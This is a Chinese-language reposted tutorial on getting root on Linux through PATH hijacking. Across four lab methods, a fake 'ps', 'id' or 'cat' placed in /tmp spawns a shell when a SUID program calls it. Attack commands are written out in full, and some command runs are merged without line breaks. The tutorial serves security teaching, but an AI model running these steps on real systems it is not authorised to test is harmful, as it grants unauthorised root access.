來自FreeBuf.COM
*參考來源:hackingarticles,FB小編 secist 編譯
http://www.freebuf.com/articles/system/173903.html
在這篇文章中,我將會為大家介紹一些使用環境變數進行Linux提權的方法,包括在CTF challenges中使用到一些的技術。話不多說,讓我們進入正題!
介紹
PATH是Linux和類Unix作業系統中的環境變數,它指定儲存可執行程式的所有bin和sbin目錄。當使用者在終端上執行任何命令時,它會透過PATH變數來響應使用者執行的命令,並向shell傳送請求以搜尋可執行檔案。超級使用者通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。
使用echo命令顯示當前PATH環境變數:
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你在PATH變數中看到‘.’,則意味著登入使用者可以從當前目錄執行二進位制檔案/指令碼,這對於攻擊者而言也是一個提權的絕好機會。這裡之所以沒有指定程式的完整路徑,往往是因為編寫程式時的疏忽造成的。
方法1
Ubuntu LAB SET_UP
當前,我們位於/home/raj目錄,我們將在其中建立一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。
pwdmkdir scriptcd /scriptnano demo.c
正如你在demo.c檔案中看到的,我們正在呼叫ps命令。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
lsgcc demo.c -o shellchmod u+s shellls -la shell
受害者VM機器
假設我們已經成功滲透標的,併進入提權階段。我們透過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。
find / -perm -u=s -type f 2>/dev/null
透過上述命令,攻擊者可以列舉出標的系統上所有的可執行檔案,這裡可以看到/home/raj/script/shell具有SUID許可權。
進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell”檔案,我們執行這個檔案。
/home/raj/script
Echo命令
cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami
Copy命令
cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami
Symlink命令
ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami
註意:符號連結也叫軟連結,如果目錄具有完全許可權,則它將成功執行。在Ubuntu中symlink情況下,我們已經賦予了/script目錄777的許可權。
因此,攻擊者可以操縱環境變數PATH來進行提權,並獲得root訪問許可權。
方法2
Ubuntu LAB SET_UP
重覆上述步驟配置你的實驗環境,現在在指令碼目錄中,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。
pwdmkdir scriptcd /scriptnano demo.c
正如你在demo.c檔案中看到的,我們正在呼叫id命令。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2
受害者VM機器
同樣,假設我們已經成功滲透標的,併進入提權階段。我們透過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。在這裡,我們可以看到/home/raj/script/shell2具有SUID許可權。
find / -perm -u=s -type f 2>/dev/null
進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell2”檔案,我們執行這個檔案。
cd /home/raj/scriptls./shell2
Echo命令
cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami
方法3
Ubuntu LAB SET_UP
重覆上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令從etc/passwd檔案中讀取內容。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
lsgcc demo.c -o rajchmod u+s rajls -la raj
受害者VM機器
同樣,假設我們已經成功滲透標的,併進入提權階段,透過執行以下命令檢視sudo使用者串列。
find / -perm -u=s -type f 2>/dev/null
在這裡,我們可以看到/home/raj/script/raj具有SUID許可權,進入到home/raj/script/目錄,可以看到該目錄下有一個可執行的“raj”檔案。所以當我們執行這個檔案時,它會把etc/passwd檔案作為輸出結果。
cd /home/raj/script/ls./raj
Nano**編輯器**
cd /tmpnano cat
現在,當終端開啟時輸入/bin/bash並儲存。
chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami
方法4
Ubuntu LAB SET_UP
重覆上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令讀取/home/raj中的msg.txt中的內容,但/home/raj中並沒有這樣的檔案。
然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。
lsgcc demo.c -o ignitechmod u+s ignitels -la ignite
受害者VM機器
同樣,假設我們已經成功滲透標的,併進入提權階段,透過執行以下命令檢視sudo使用者串列
find / -perm -u=s -type f 2>/dev/null
在這裡,我們可以看到/home/raj/script/ignite具有SUID許可權,進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“ignite”檔案。所以當我們執行這個檔案時,它會報錯“cat: /home/raj/msg.txt”檔案或目錄不存在。
cd /home/raj/scriptls./ignite
Vi編輯器
cd /tmpvi cat
現在,當終端開啟時輸入/bin/bash並儲存。
chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami
●編號652,輸入編號直達本文
●輸入m獲取文章目錄
Linux學習
更多推薦《18個技術類微信公眾號》
涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。